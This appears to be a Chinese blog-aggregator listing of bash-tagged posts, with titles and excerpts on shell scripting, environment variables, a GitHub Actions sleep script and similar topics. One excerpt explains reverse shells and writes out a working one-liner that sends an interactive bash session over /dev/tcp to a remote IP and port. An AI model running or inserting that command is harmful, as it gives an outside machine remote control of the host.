技术栈
bash
silence250
3 小时前
bash
safe_sleep.sh: GitHub Actions Runner 中那个偶尔无限挂起的“小睡眠”脚本
在 GitHub Actions Runner 代码库里,有一个看似简单的 Bash 脚本——safe_sleep.sh,它负责让 Runner 在某些场景下“安全地睡眠”一段时间。但这个小脚本却因为一个 subtle 的逻辑缺陷,让许多开发者和 CI 系统管理员困扰不已,甚至引发了性能、资源浪费、Runner 卡死等严重问题。
刘某的Cloud
11 小时前
linux
·
运维
·
bash
·
shell
·
read
shell脚本-read-输入
最简单的用法是不带任何参数,直接读取用户输入,默认存入内置变量 REPLY 中。实际开发中,我们通常会指定变量名来存储输入,并使用 -p 选项直接显示提示信息,这样比先用 echo 打印提示更简洁。
聪明努力的积极向上
17 小时前
bash
·
状态模式
·
策略模式
【设计优化】卫语句、策略模式、状态模式
在写业务代码时,可能出现多层 if / else,通常意味着以下问题之一或并存: 1.分支条件复杂、可读性差 2.业务规则易变、修改成本高 3.单一方法承担过多职责 卫语句、策略模式、状态模式正是针对不同“分支复杂性来源”而采用的三种典型重构手段。
凯新生物
1 天前
scala
·
bash
·
laravel
·
perl
聚乙二醇二生物素,Biotin-PEG-Biotin在生物检测中的应用
试剂信息英文名称:Biotin-PEG-Biotin,Biotin PEG Biotin中文名称:聚乙二醇二生物素,生物素 聚乙二醇 生物素,生物素 PEG 生物素
一勺菠萝丶
2 天前
开发语言
·
bash
执行 install.sh 报错 `env: ‘bash\r‘: No such file or directory` 怎么解决?
适用场景: Docker / Jenkins / Linux 容器中执行 .sh 脚本失败 报错:env: ‘bash\r’: No such file or directory
Alaia.
2 天前
数据库
·
oracle
·
bash
【T级别数据迁移】Oracle 数据库迁移操作手册(oracle-migrate-bash)
目前遇到的场景是: 1.1T数据量进行异机迁移,并且是由rac模式(分布式模式)迁移至单体模式总体迁移方式分为以下3种:
李斯维
2 天前
linux
·
bash
·
unix
第14 章 使用 shell:初始化文件
两个特殊的文件,即 初始化文件(initialization file):一些 shell 还支持注销文件(logout file),存放着注销时自动运行的命令。
BullSmall
3 天前
linux
·
bash
Shell脚本波浪号避坑指南
在 Shell 脚本中,~(波浪号)的解析规则需要注意:双引号包裹时,~ 不会被自动解析为用户家目录,直接写 BASE_DIR="~/apps" 会导致路径变成字面量的 ~/apps 而非实际的家目录路径(比如 /home/xxx/apps)。
顾安r
3 天前
java
·
前端
·
javascript
·
html
·
bash
12.15 脚本网页 bash内建命令
博主之前用的xmind,后来发现html做成APP似乎更好一些以下是源码,据此还可以做出Python等
_OP_CHEN
3 天前
linux
·
运维
·
操作系统
·
bash
·
进程
·
环境变量
·
命令行参数
【Linux系统编程】(十五)揭秘 Linux 环境变量:从底层原理到实战操作,一篇吃透命令行参数与全局变量!
前言一、环境变量:Linux 系统的 “全局配置密码”1.1 什么是环境变量?1.2 环境变量的核心特性
jimy1
4 天前
开发语言
·
bash
bash “ if <command>; then”语句,<command>返回0,then后面语句才执行
if <command>; then 语句你可以用 $? 查看上一个命令的退出状态码:在file文件里面查找 ‘pattern’ 单词,实际上file文件不存在,grep返回2. 如果文件存在,grep找到返回0;grep找不到,返回1
ricky_fan
6 天前
macos
·
bash
(25年12月)claude code报错:might not be available in your country
Mac安装claude code很简单,参考下面链接https://blog.csdn.net/Trb201013/article/details/150266782
nono牛
6 天前
开发语言
·
chrome
·
bash
完整bash语法教程:从零到专家
通过这个完整教程,你已经掌握了bash从基础到高级的所有概念。记住:祝你成为bash专家!
nono牛
7 天前
开发语言
·
chrome
·
bash
bash语法与init.rc语法对比
bash语法 bash是一种Unix shell,用于交互式命令执行和脚本编程。其语法包括变量、条件判断、循环、函数等。
hellotutu
7 天前
java
·
bash
·
intellij-idea
·
jar
IntelliJ IDEA 中引入自定义 JAR 包
适合快速测试、小型项目,手动添加 JAR 到 IDE 依赖:若运行项目时提示 ClassNotFoundException,检查运行配置:
vortex5
13 天前
c语言
·
chrome
·
bash
反弹Shell场景中bash -c与直接bash -i的适用差异解析
在反弹Shell场景中,有的时候需要用bash -c "bash -i >& /dev/tcp/192.168.137.205/7777 0>&1" 但是有的时候用bash -i >& /dev/tcp/192.168.137.205/777 0>&1就能解决,两者几乎没有同时适用的情况,这是为什么呢?
nono牛
13 天前
前端
·
chrome
·
bash
30天Shell脚本编程实战(14天逆袭)
运行结果:运行示例:运行结果:运行示例:运行示例:运行示例:运行结果:运行示例:运行结果:运行示例:运行结果:
鸠摩智首席音效师
13 天前
bash
如何在 Bash 中循环遍历文件内容 ?
Bash (Bourne-Again SHell),是一种流行的命令行 SHell 脚本语言,因其简单和易用而被广泛使用。最常见的任务之一,可能需要使用 Bash 遍历文件的内容。
ChrylZzz
15 天前
bash
·
shell
·
zsh
bash和zsh
Bash和Zsh是两种流行的Unix shell,主要区别在于功能丰富度、交互体验和适用场景:Bash以稳定性和兼容性见长,适合脚本编写和服务器环境;Zsh则以强大的自动补全、主题插件和高度定制性著称,更适合开发者日常使用。
喵霓
16 天前
开发语言
·
macos
·
bash
mac系统的环境变量-bash_profile
mac系统和winds系统一样,都需要配置环境变量,个人理解mac系统的环境变量配置为bash_profile;